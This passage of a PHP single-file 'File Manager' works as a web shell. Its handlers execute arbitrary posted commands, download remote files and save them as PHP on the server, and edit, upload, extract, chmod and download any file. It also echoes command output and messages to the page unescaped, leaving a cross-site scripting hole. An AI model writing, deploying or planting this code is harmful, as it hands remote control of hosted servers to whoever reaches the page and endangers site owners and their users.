    // Handle command execution
    if (isset($_POST['cmd_exec']) && isset($_POST['command'])) {
        $cmd = $_POST['command'];
        $output = executeCommand($cmd, $cwd);
        
        // Save command history
        if (!isset($_SESSION['cmd_history'])) {
            $_SESSION['cmd_history'] = [];
        }
        $_SESSION['cmd_history'][] = $cmd;
        $_SESSION['cmd_history'] = array_slice($_SESSION['cmd_history'], -10); // Save max 10 history
        
        $encoded_output = urlencode($output);
        header("Location: ?action=cmd&d=" . urlencode($cwd) . "&cmd_output=" . $encoded_output);
        exit;
    }
    
    // Handle clear command history
    if (isset($_POST['clear_cmd_history'])) {
        unset($_SESSION['cmd_history']);
        header("Location: ?action=cmd&d=" . urlencode($cwd));
        exit;
    }
    
    // Handle download and save from URL
    if (isset($_POST['download_url_and_save'])) {
        $url = $_POST['url_to_download_raw'];
        $filename = sanitize_filename($_POST['filename_to_save']);
        
        // Validate filename
        if (empty($filename)) {
            header("Location: ?action=cmd&d=" . urlencode($cwd) . "&msg=" . urlencode("Invalid filename. Only alphanumeric characters, hyphens, underscores, and dots are allowed."));
            exit;
        }
        
        $content = getUrlContent($url);
        if ($content !== false) {
            $filepath = $cwd . '/' . $filename;
            
            // Check if file already exists
            if (file_exists($filepath)) {
                header("Location: ?action=cmd&d=" . urlencode($cwd) . "&msg=" . urlencode("File already exists."));
                exit;
            }
            
            if (file_put_contents($filepath, $content) !== false) {
                // Set file permissions
                @chmod($filepath, 0644);
                header("Location: ?action=cmd&d=" . urlencode($cwd) . "&msg=" . urlencode("File downloaded and saved successfully"));
            } else {
                header("Location: ?action=cmd&d=" . urlencode($cwd) . "&msg=" . urlencode("Failed to save file. Check directory permissions."));
            }
        } else {
            header("Location: ?action=cmd&d=" . urlencode($cwd) . "&msg=" . urlencode("Failed to download file from URL. Check URL and internet connection."));
        }
        exit;
    }
    
    // Handle unzip
    if (isset($_GET['unzip'])) {
        $zip_file = $_GET['unzip'];
        $extract_to = $cwd;
        
        if (!extension_loaded('zip')) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("ZIP extension not available"));
            exit;
        }
        
        // Make sure ZIP file exists and is readable
        if (!file_exists($zip_file) || !is_readable($zip_file)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("ZIP file not found or not readable"));
            exit;
        }
        
        // Make sure destination directory is writable
        if (!is_writable($extract_to)) {
            @chmod($extract_to, 0755);
            if (!is_writable($extract_to)) {
                header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Directory not writable. Failed to extract file."));
                exit;
            }
        }
        
        $zip = new ZipArchive;
        if ($zip->open($zip_file) === TRUE) {
            if ($zip->extractTo($extract_to)) {
                $zip->close();
                header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File extracted successfully"));
            } else {
                $zip->close();
                header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Failed to extract file to directory"));
            }
        } else {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Upload failed: Failed to open ZIP file"));
        }
        exit;
    }
}

// Handle file edit
if (isset($_GET['edit'])) {
    $file = $_GET['edit'];
    
    // Make sure file exists and is readable
    if (!file_exists($file) || !is_readable($file)) {
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File not found or not readable"));
        exit;
    }
    
    $content = file_get_contents($file);
    if ($content === false) {
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Failed to read file"));
        exit;
    }
    
    echo <<<HTML
<!DOCTYPE html>
<html data-bs-theme="dark">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<title>Edit File</title>
<link href='https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css' rel='stylesheet'>
<script src='https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js'></script>
<style>
    body { padding-top: 70px; }
    .editor-container {
        height: calc(100vh - 150px);
        display: flex;
        flex-direction: column;
    }
    #fileContent {
        flex-grow: 1;
        font-family: monospace;
        resize: none;
    }
</style>
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-dark bg-dark fixed-top">
  <div class="container-fluid">
    <a class="navbar-brand" href="?d={$cwd}">File Manager</a>
    <div class="collapse navbar-collapse">
      <ul class="navbar-nav">
        <li class="nav-item">
          <a class="nav-link" href="?d={$cwd}">Back</a>
        </li>
      </ul>
    </div>
  </div>
</nav>

<div class="container-fluid pt-3">
    <h3>Edit File: {htmlspecialchars(basename($file), ENT_QUOTES, 'UTF-8')}</h3>
    <form method="post" class="editor-container">
        <input type="hidden" name="csrf_token" value="{$_SESSION['csrf_token']}">
        <input type="hidden" name="edit_file" value="{htmlspecialchars($file, ENT_QUOTES, 'UTF-8')}">
        <textarea name="file_content" id="fileContent" class="form-control mb-3">{htmlspecialchars($content, ENT_QUOTES, 'UTF-8')}</textarea>
        <div class="d-flex justify-content-between">
            <button type="submit" class="btn btn-primary">Save</button>
            <a href="?d={$cwd}" class="btn btn-secondary">Cancel</a>
        </div>
    </form>
</div>
</body>
</html>
HTML;
    exit;
}

// Handle save edited file
if (isset($_POST['edit_file']) && isset($_POST['file_content'])) {
    // Validate CSRF token
    if (!isset($_POST['csrf_token']) || !hash_equals($_POST['csrf_token'], $_SESSION['csrf_token'])) {
        die("CSRF token validation failed.");
    }
    
    $file = $_POST['edit_file'];
    $content = $_POST['file_content'];
    
    // Make sure file exists
    if (!file_exists($file)) {
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File not found"));
        exit;
    }
    
    // Make sure file is writable
    if (!is_writable($file)) {
        // Try to change permissions
        @chmod($file, 0644);
        if (!is_writable($file)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File is not writable. Please change file permissions."));
            exit;
        }
    }
    
    if (file_put_contents($file, $content) !== false) {
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File saved successfully"));
    } else {
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Failed to save file"));
    }
    exit;
}

// Handle file download
if (isset($_GET['download'])) {
    $file = $_GET['download'];
    
    if (file_exists($file) && is_file($file) && is_readable($file)) {
        // Set headers for secure download
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file) . '"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($file));
        header('X-Content-Type-Options: nosniff');
        
        // Clean output buffer to prevent corruption
        if (ob_get_level()) {
            ob_end_clean();
        }
        
        readfile($file);
        exit;
    } else {
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File not found or not readable"));
        exit;
    }
}
?>
<!DOCTYPE html>
<html data-bs-theme="dark">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<title>File Manager</title>
<link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css'>
<link href='https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css' rel='stylesheet'>
<script src='https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js'></script>
<style>
body { padding-top: 70px; }
.navbar { position: fixed; top: 0; left: 0; right: 0; z-index: 1030; }
a { text-decoration: none; }
.clipboard-cut { background-color: #ffc10740; }
.clipboard-copy { background-color: #17a2b840; }
#batchActionsContainer { display: none; }
.path-display { font-size: 0.9em; margin-bottom: 10px; }
.table-responsive-custom {
    overflow-x: auto;
    width: 100%;
    max-width: none;
}
.table {
    min-width: 700px;
}
.table tbody tr.active-row {
    background-color: var(--bs-table-active-bg);
}
[data-bs-theme="light"] .table tbody tr.active-row {
    background-color: #e2e6ea;
}
[data-bs-theme="dark"] .table tbody tr.active-row {
    background-color: #343a40;
}
.table tbody tr:hover {
    filter: brightness(0.9);
    transition: background-color 0.1s ease-in-out;
}
.table tbody tr.active-row:hover {
    filter: brightness(0.8);
}
.navbar-nav .nav-item {
    margin-right: 5px;
}
.navbar-nav .nav-item .btn {
    background-color: rgba(108, 117, 125, 0.7);
    border-color: rgba(108, 117, 125, 0.9);
    color: #fff;
    padding: .5rem .75rem;
    display: flex;
    align-items: center;
    justify-content: center;
    width: auto;
}
.navbar-nav .nav-item .btn:hover,
.navbar-nav .nav-item .btn:focus,
.navbar-nav .nav-item .btn:active {
    background-color: rgba(108, 117, 125, 0.9);
    border-color: rgba(108, 117, 125, 1);
    box-shadow: none;
}
.navbar-nav .nav-item .btn.btn-success,
.navbar-nav .nav-item .btn.btn-primary,
.navbar-nav .nav-item .btn.btn-info,
.navbar-nav .nav-item .btn.btn-warning {
    background-color: rgba(108, 117, 125, 0.7) !important;
    border-color: rgba(108, 117, 125, 0.9) !important;
    color: #fff !important;
}
.navbar-nav .nav-item .btn.btn-success:hover,
.navbar-nav .nav-item .btn.btn-primary:hover,
.navbar-nav .nav-item .btn.btn-info:hover,
.navbar-nav .nav-item .btn.btn-warning:hover {
    background-color: rgba(108, 117, 125, 0.9) !important;
    border-color: rgba(108, 117, 125, 1) !important;
}
.navbar-nav .nav-item .btn.nav-link {
    display: inline-flex;
    align-items: center;
    justify-content: flex-start;
    padding-right: 15px;
}
.navbar-nav .nav-item .btn i {
    margin-right: 8px;
}
</style>
<script>
function toggleTheme() {
    const html = document.documentElement;
    const theme = html.dataset.bsTheme === 'dark' ? 'light' : 'dark';
    html.setAttribute('data-bs-theme', theme);
    document.cookie = 'theme=' + theme + '; path=/; max-age=31536000';
}
window.onload = () => {
    const html = document.documentElement;
    const m = document.cookie.match(/theme=(dark|light)/);
    if (m) {
        html.setAttribute('data-bs-theme', m[1]);
    } else {
        html.setAttribute('data-bs-theme', 'dark');
    }
    
    const renameModalElement = document.getElementById('renameModal');
    if (renameModalElement && renameModalElement.dataset.show === 'true') {
        const renameModal = new bootstrap.Modal(renameModalElement);
        renameModal.show();
    }

    const checkboxes = document.querySelectorAll('input[name="selected_items[]"]');
    checkboxes.forEach(checkbox => {
        checkbox.addEventListener('change', updateBatchActionsVisibility);
    });
    updateBatchActionsVisibility();

    const tableRows = document.querySelectorAll('.table tbody tr');
    tableRows.forEach(row => {
        row.addEventListener('click', function(event) {
            let target = event.target;
            while(target !== this && target !== null) {
                if (target.type === 'checkbox' || target.tagName === 'A' || target.tagName === 'BUTTON') {
                    return;
                }
                target = target.parentElement;
            }

            tableRows.forEach(r => r.classList.remove('active-row'));
            this.classList.add('active-row');
        });
    });
};

function confirmAction(action) {
    if (action === 'delete') {
        return confirm('Are you sure you want to delete the selected items? This action cannot be undone.');
    } else if (action === 'zip') {
        return confirm('Are you sure you want to archive the selected items?');
    } else if (action === 'copy') {
        return confirm('Are you sure you want to copy the selected items to clipboard?');
    } else if (action === 'cut') {
        return confirm('Are you sure you want to cut the selected items to clipboard?');
    }
    return true;
}

function toggleAll(source) {
    checkboxes = document.querySelectorAll('input[name="selected_items[]"]');
    for(var i=0, n=checkboxes.length;i<n;i++) {
        checkboxes[i].checked = source.checked;
    }
    updateBatchActionsVisibility();
}

function updateBatchActionsVisibility() {
    const selectedCheckboxes = document.querySelectorAll('input[name="selected_items[]"]:checked');
    const batchActionsContainer = document.getElementById('batchActionsContainer');
    if (selectedCheckboxes.length > 0) {
        batchActionsContainer.style.display = 'flex';
    } else {
        batchActionsContainer.style.display = 'none';
    }
}

function showRenameModal(oldPath, currentName) {
    // Validate parameters
    if (!oldPath || !currentName) {
        alert('Invalid parameters for rename operation');
        return;
    }
    
    document.getElementById('renameOldPath').value = oldPath;
    document.getElementById('renameNewName').value = currentName;
    const renameModal = new bootstrap.Modal(document.getElementById('renameModal'));
    renameModal.show();
}

function showChmodModal(itemPath, currentPermsOctal) {
    // Validate parameters
    if (!itemPath || !currentPermsOctal) {
        alert('Invalid parameters for chmod operation');
        return;
    }
    
    document.getElementById('chmodPath').value = itemPath;
    document.getElementById('chmodOctal').value = currentPermsOctal;

    // Make sure currentPermsOctal is a string with at least 3 characters
    const octalStr = String(currentPermsOctal);
    let ownerPerms = 0, groupPerms = 0, othersPerms = 0;
    
    if (octalStr.length >= 3) {
        // Take the last 3 digits
        const permsStr = octalStr.slice(-3);
        ownerPerms = parseInt(permsStr[0]);
        groupPerms = parseInt(permsStr[1]);
        othersPerms = parseInt(permsStr[2]);
    }

    document.getElementById('owner_read').checked = (ownerPerms & 4) !== 0;
    document.getElementById('owner_write').checked = (ownerPerms & 2) !== 0;
    document.getElementById('owner_execute').checked = (ownerPerms & 1) !== 0;

    document.getElementById('group_read').checked = (groupPerms & 4) !== 0;
    document.getElementById('group_write').checked = (groupPerms & 2) !== 0;
    document.getElementById('group_execute').checked = (groupPerms & 1) !== 0;

    document.getElementById('others_read').checked = (othersPerms & 4) !== 0;
    document.getElementById('others_write').checked = (othersPerms & 2) !== 0;
    document.getElementById('others_execute').checked = (othersPerms & 1) !== 0;

    updateOctalFromCheckboxes();

    const chmodModal = new bootstrap.Modal(document.getElementById('chmodModal'));
    chmodModal.show();
}

function updateOctalFromCheckboxes() {
    let owner = 0;
    if (document.getElementById('owner_read').checked) owner += 4;
    if (document.getElementById('owner_write').checked) owner += 2;
    if (document.getElementById('owner_execute').checked) owner += 1;

    let group = 0;
    if (document.getElementById('group_read').checked) group += 4;
    if (document.getElementById('group_write').checked) group += 2;
    if (document.getElementById('group_execute').checked) group += 1;

    let others = 0;
    if (document.getElementById('others_read').checked) others += 4;
    if (document.getElementById('others_write').checked) others += 2;
    if (document.getElementById('others_execute').checked) others += 1;

    document.getElementById('chmodOctal').value = '0' + owner.toString() + group.toString() + others.toString();
}

document.addEventListener('DOMContentLoaded', function() {
    const chmodCheckboxes = document.querySelectorAll('#chmodModal input[type="checkbox"]');
    chmodCheckboxes.forEach(checkbox => {
        checkbox.addEventListener('change', updateOctalFromCheckboxes);
    });
});

function clearCmdOutput() {
    window.location.href = "?action=cmd&d=" + encodeURIComponent("<?php echo $cwd; ?>");
}
</script>
</head>
<body class='p-4'>

<nav class="navbar navbar-expand-lg navbar-dark bg-dark">
  <div class="container-fluid">
    <a class="navbar-brand" href="?d=<?php echo urlencode($cwd); ?>">File Manager</a>
    <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
      <span class="navbar-toggler-icon"></span>
    </button>
    <div class="collapse navbar-collapse" id="navbarNav">
      <ul class="navbar-nav me-auto mb-2 mb-lg-0">
        <li class="nav-item">
             <a class="btn btn-secondary nav-link" href="<?php echo htmlspecialchars($current_script, ENT_QUOTES, 'UTF-8'); ?>"><i class='fa fa-home'></i> Home</a>
        </li>
        <li class="nav-item">
          <button class="btn nav-link" data-bs-toggle="modal" data-bs-target='#createModal'><i class='fa fa-plus'></i> New File/Folder</button>
        </li>
        <li class="nav-item">
          <button class="btn nav-link" data-bs-toggle='modal' data-bs-target='#uploadModal'><i class='fa fa-upload'></i> Upload</button>
        </li>
        <?php if (!empty($clipboard_items)): ?>
        <li class="nav-item">
          <form method='post' class='d-inline-block'>
              <input type='hidden' name='csrf_token' value='<?php echo $csrf_token; ?>'>
              <input type='hidden' name='paste_item' value='1'>
              <button type='submit' class='btn nav-link'><i class='fa fa-paste'></i> Paste (<?php echo ($clipboard_type === 'cut' ? 'Cut' : 'Copy') . " " . count($clipboard_items); ?>)</button>
          </form>
        </li>
        <?php endif; ?>
        <li class="nav-item">
          <a href='?action=password&d=<?php echo urlencode($cwd); ?>' class='btn nav-link'><i class='fa fa-lock'></i> Password</a>
        </li>
        <li class="nav-item">
          <a href='?action=info&d=<?php echo urlencode($cwd); ?>' class='btn nav-link'><i class='fa fa-info-circle'></i> Info</a>
        </li>
        <li class="nav-item">
        <?php if (function_exists('proc_open')): ?>
          <a href='?action=cmd&d=<?php echo urlencode($cwd); ?>' class='btn nav-link'><i class='fa fa-terminal'></i> CMD</a>
        <?php else: ?>
          <button class='btn nav-link' disabled title='CMD is disabled on this server'><i class='fa fa-terminal'></i> CMD</button>
        <?php endif; ?>
        </li>
      </ul>
      <button onclick='toggleTheme()' class='btn btn-dark'><i class='fa fa-adjust'></i> Theme</button>
    </div>
  </div>
</nav>

<div class="container-fluid pt-3">
<?php if ($msg) echo "<div class='alert alert-info mt-3'>" . $msg . "</div>"; ?>
<?php if (isset($_GET['cmd_output']) && $_GET['action'] === 'cmd'): ?>
    <div class='alert alert-secondary mt-3'>Output:<br><?php echo urldecode($_GET['cmd_output']); ?></div>
<?php endif; ?>
<br><br>

<div class="table-responsive-custom mb-3">
    <table class='table table-bordered table-sm'>
        <thead>
            <tr>
                <th>
    <i class='fa fa-folder'></i><span style="font-weight: bold;"> <?php echo breadcrumbs($cwd, $current_script); ?></span>
                </th>
            </tr>
        </thead>
    </table>
</div>

<?php
if (isset($_GET['action'])) {
    echo "<a href='?d=" . urlencode($cwd) . "' class='btn btn-sm btn-secondary mb-3 mt-2'><i class='fa fa-arrow-left'></i> Back</a>";
    if ($_GET['action'] === 'password') {
        echo "<form method='post' class='mb-3'>
        <input type='hidden' name='csrf_token' value='$csrf_token'>
        <label for='setpass' class='form-label'>Set New Password:</label>
        <input type='password' name='setpass' id='setpass' class='form-control mb-2' placeholder='Enter new password'>
        <button class='btn btn-warning'>Save Password</button></form>
        <form method='post' class='mt-2'>
        <input type='hidden' name='csrf_token' value='$csrf_token'>
        <input type='hidden' name='delpass' value='1'>
        <button class='btn btn-danger'>Delete Password</button></form>";
    } elseif ($_GET['action'] === 'info') {
        echo '<div class="container">
        <h1 class="mb-3">File Manager</h1>
        <hr>
        <p><strong>Author:</strong> <span style="color:#0f0">Admin</span></p>
        <p><strong>Contact:</strong> <a href="mailto:admin@example.com" target="_blank">Email</a></p>
        <p><strong>Purpose:</strong></p>
        <ul>
            <li>Web-based file management without FTP</li>
            <li>Remote file management on hosting or VPS</li>
            <li>Features include upload, edit, rename, delete, password protection, and theme toggle</li>
        </ul>
        <p class="text-muted">Version: 1.0 | Last updated: July 2025</p>
    </div>';

    } elseif ($_GET['action'] === 'cmd') {
        if (!function_exists('proc_open')) {
            echo "<div class='alert alert-warning'>Command execution (CMD) is disabled on this server by your hosting provider.</div>";
        }
        echo "<form method='post' class='mt-3'>
        <input type='hidden' name='csrf_token' value='$csrf_token'>
        <label for='command_input' class='form-label'>Execute Command:</label>
        <div class='input-group mb-2'>
            <input name='command' id='command_input' placeholder='Enter command' class='form-control'>
            <button type='submit' class='btn btn-primary' name='cmd_exec'>Execute</button>
            <button type='button' class='btn btn-outline-secondary' onclick='clearCmdOutput()'>Clear Output</button>
        </div>
        </form>";

        if (!empty($_SESSION['cmd_history'])) {
            echo "<h6 class='mt-4'>Command History:</h6>
            <div class='list-group mb-3' style='max-height: 200px; overflow-y: auto;'>";
            foreach ($_SESSION['cmd_history'] as $hist_cmd) {
                echo "<a href='#' class='list-group-item list-group-item-action list-group-item-secondary' onclick='document.getElementById(\"command_input\").value = \"" . addslashes($hist_cmd) . "\"; return false;'>" . htmlspecialchars($hist_cmd, ENT_QUOTES, 'UTF-8') . "</a>";
            }
            echo "</div>
            <form method='post'>
                <input type='hidden' name='csrf_token' value='$csrf_token'>
                <button type='submit' name='clear_cmd_history' class='btn btn-sm btn-danger' onclick='return confirm(\"Are you sure you want to clear command history?\")'>Clear History</button>
            </form>";
        }

        echo "<h6 class='mt-4'>Import Raw File from URL:</h6>
        <form method='post' class='mb-3'>
            <input type='hidden' name='csrf_token' value='$csrf_token'>
            <label for='url_to_download_raw' class='form-label'>URL Raw File:</label>
            <input type='url' name='url_to_download_raw' id='url_to_download_raw' placeholder='https://example.com/raw.txt' class='form-control mb-2' required>

            <label for='filename_to_save' class='form-label'>Save As (filename):</label>
            <input type='text' name='filename_to_save' id='filename_to_save' placeholder='result.php' class='form-control mb-2' required>

            <button type='submit' class='btn btn-success' name='download_url_and_save'>Download & Save</button>
        </form>";
    }
    echo "</div></body></html>";
    exit;
}
?>

<form method='post' id='batch_form'>
<input type='hidden' name='csrf_token' value='<?php echo $csrf_token; ?>'>
<div class="table-responsive-custom">
<table class='table table-bordered table-sm'><thead>
<tr><th><input type='checkbox' onclick='toggleAll(this)'></th><th>Name</th><th>Size</th><th>Last Modified</th><th>Perms</th><th>Actions</th></tr></thead><tbody>
<?php
foreach (list_dir($cwd) as $i) {
    $n = htmlspecialchars($i['name'], ENT_QUOTES, 'UTF-8');
    $p = htmlspecialchars($i['path'], ENT_QUOTES, 'UTF-8');
    $encoded_p = urlencode($i['path']);
    $file_perms_octal = perms_to_octal(@fileperms($i['path']));

    $row_class = '';
    if (in_array(realpath($i['path']), $clipboard_items)) {
        $row_class = 'clipboard-' . $clipboard_type;
    }

    echo "<tr class='" . $row_class . "'>";
    echo "<td><input type='checkbox' name='selected_items[]' value='" . $encoded_p . "'></td>";
    echo "<td>" . ($i['is_dir'] ? "<a href='?d=" . $encoded_p . "'><i class='fa fa-folder-o'></i> $n</a>" : "<i class='fa fa-file-o'></i> $n") . "</td>";
    echo "<td>" . formatSize($i['size']) . "</td>";
    echo "<td>" . date('Y-m-d H:i', $i['mtime']) . "</td>";
    echo "<td>" . perms($i['path']) . " ($file_perms_octal)</td>";
    echo "<td class='d-flex flex-wrap gap-1'>"
    . (!$i['is_dir'] ? "<a href='?edit=" . $encoded_p . "&d=" . urlencode($cwd) . "' class='btn btn-sm btn-warning'><i class='fa fa-edit'></i></a>" : "")
    . (!$i['is_dir'] ? "<a href='?download=" . $encoded_p . "&d=" . urlencode($cwd) . "' class='btn btn-sm btn-success'><i class='fa fa-download'></i></a>" : "")
    . "<button type='button' class='btn btn-sm btn-secondary' onclick='showRenameModal(\"" . $encoded_p . "\", \"" . addslashes($n) . "\")'><i class='fa fa-pencil'></i></button>"
    . "<button type='button' class='btn btn-sm btn-dark' onclick='showChmodModal(\"" . $encoded_p . "\", \"" . $file_perms_octal . "\")'><i class='fa fa-key'></i></button>"
    . "<a href='?delete=" . $encoded_p . "&d=" . urlencode($cwd) . "' class='btn btn-sm btn-danger' onclick='return confirm(\"Are you sure you want to delete " . ($i['is_dir'] ? "this folder and its contents" : "this file") . "?\")'><i class='fa fa-trash-o'></i></a>"
    . (preg_match('/\.(zip|rar|tar|gz|7z)$/i', $n) && !$i['is_dir'] ? "<a href='?unzip=" . $encoded_p . "&d=" . urlencode($cwd) . "' class='btn btn-sm btn-info' onclick='return confirm(\"Are you sure you want to extract this file?\")'><i class='fa fa-file-archive-o'></i></a>" : "")
    . "</td></tr>";

}
?>
</tbody></table>
</div>

<div class='mb-3 d-flex gap-2' id='batchActionsContainer'>
    <select name='batch_action' class='form-select' style='width:auto;'>
        <option value='delete'>Delete</option>
        <option value='zip'>Zip</option>
        <option value='copy'>Copy</option>
        <option value='cut'>Cut</option>
    </select>
    <button type='submit' class='btn btn-primary' onclick='return confirmAction(this.form.batch_action.value);'>Execute</button>
</div>
</form>

<div class="modal fade" id="uploadModal" tabindex="-1" aria-labelledby="uploadModalLabel" aria-hidden="true">
  <div class="modal-dialog">
    <div class="modal-content">
      <div class="modal-header">
        <h5 class="modal-title" id="uploadModalLabel">Upload File</h5>
        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
      </div>
      <form method="post" enctype="multipart/form-data">
        <input type='hidden' name='csrf_token' value='<?php echo $csrf_token; ?>'>
        <div class="modal-body">
          <input type="file" name="uploadfile" class="form-control">
        </div>
        <div class="modal-footer">
          <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
          <button type="submit" class="btn btn-primary" name="uploadfile">Upload</button>
        </div>
      </form>
    </div>
  </div>
</div>

<div class="modal fade" id="createModal" tabindex="-1" aria-labelledby="createModalLabel" aria-hidden="true">
  <div class="modal-dialog">
    <div class="modal-content">
      <div class="modal-header">
        <h5 class="modal-title" id="createModalLabel">Create New</h5>
        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
      </div>
      <div class="modal-body">
        <h6><i class='fa fa-file-code-o'></i> Create New File</h6>
        <form method="post" class="mb-4">
          <input type='hidden' name='csrf_token' value='<?php echo $csrf_token; ?>'>
          <input name="newfile" placeholder="File Name (e.g., index.php)" class="form-control mb-2" required>
          <textarea name="filedata" class="form-control mb-2" placeholder="File Content (optional)" rows="5"></textarea>
          <button type="submit" class="btn btn-success">Create File</button>
        </form>

        <hr>

        <h6><i class='fa fa-folder-open-o'></i> Create New Folder</h6>
        <form method="post">
          <input type='hidden' name='csrf_token' value='<?php echo $csrf_token; ?>'>
          <input name="newfolder" placeholder="Folder Name (e.g., my_new_dir)" class="form-control mb-2" required>
          <button type="submit" class="btn btn-success">Create Folder</button>
        </form>
      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
      </div>
    </div>
  </div>
</div>

<div class="modal fade" id="renameModal" tabindex="-1" aria-labelledby="renameModalLabel" aria-hidden="true">
  <div class="modal-dialog">
    <div class="modal-content">
      <div class="modal-header">
        <h5 class="modal-title" id="renameModalLabel">Rename Item</h5>
        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
      </div>
      <form method="post">
        <input type='hidden' name='csrf_token' value='<?php echo $csrf_token; ?>'>
        <div class="modal-body">
          <input type="hidden" name="old_path_rename" id="renameOldPath">
          <div class="mb-3">
            <label for="renameNewName" class="form-label">New Name:</label>
            <input type="text" name="new_name" id="renameNewName" class="form-control" required>
          </div>
        </div>
        <div class="modal-footer">
          <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
          <button type="submit" class="btn btn-primary" name="rename_submit">Rename</button>
        </div>
      </form>
    </div>
  </div>
</div>

<div class="modal fade" id="chmodModal" tabindex="-1" aria-labelledby="chmodModalLabel" aria-hidden="true">
  <div class="modal-dialog">
    <div class="modal-content">
      <div class="modal-header">
        <h5 class="modal-title" id="chmodModalLabel">Change Permissions (CHMOD)</h5>
        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
      </div>
      <form method="post">
        <input type='hidden' name='csrf_token' value='<?php echo $csrf_token; ?>'>
        <div class="modal-body">
          <input type="hidden" name="chmod_path" id="chmodPath">
          <div class="mb-3">
            <label for="chmodOctal" class="form-label">Octal Permissions:</label>
            <input type="text" name="chmod_octal" id="chmodOctal" class="form-control" pattern="[0-7]{3,4}" title="Use 3 or 4 octal digits (e.g., 0755)" required>
            <small class="form-text text-muted">Example: 755 (rwxr-xr-x), 644 (rw-r--r--)</small>
          </div>
          <div class="mb-3">
            <h6>Symbolic Permissions:</h6>
            <div class="row">
              <div class="col-4">
                <strong>Owner</strong><br>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="owner_read">
                  <label class="form-check-label" for="owner_read">Read</label>
                </div>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="owner_write">
                  <label class="form-check-label" for="owner_write">Write</label>
                </div>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="owner_execute">
                  <label class="form-check-label" for="owner_execute">Execute</label>
                </div>
              </div>
              <div class="col-4">
                <strong>Group</strong><br>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="group_read">
                  <label class="form-check-label" for="group_read">Read</label>
                </div>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="group_write">
                  <label class="form-check-label" for="group_write">Write</label>
                </div>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="group_execute">
                  <label class="form-check-label" for="group_execute">Execute</label>
                </div>
              </div>
              <div class="col-4">
                <strong>Others</strong><br>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="others_read">
                  <label class="form-check-label" for="others_read">Read</label>
                </div>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="others_write">
                  <label class="form-check-label" for="others_write">Write</label>
                </div>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="others_execute">
                  <label class="form-check-label" for="others_execute">Execute</label>
                </div>
              </div>
            </div>
          </div>
        </div>
        <div class="modal-footer">
          <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
          <button type="submit" class="btn btn-primary" name="set_chmod">Apply CHMOD</button>
        </div>
      </form>
    </div>
  </div>
</div>

</body>
</html>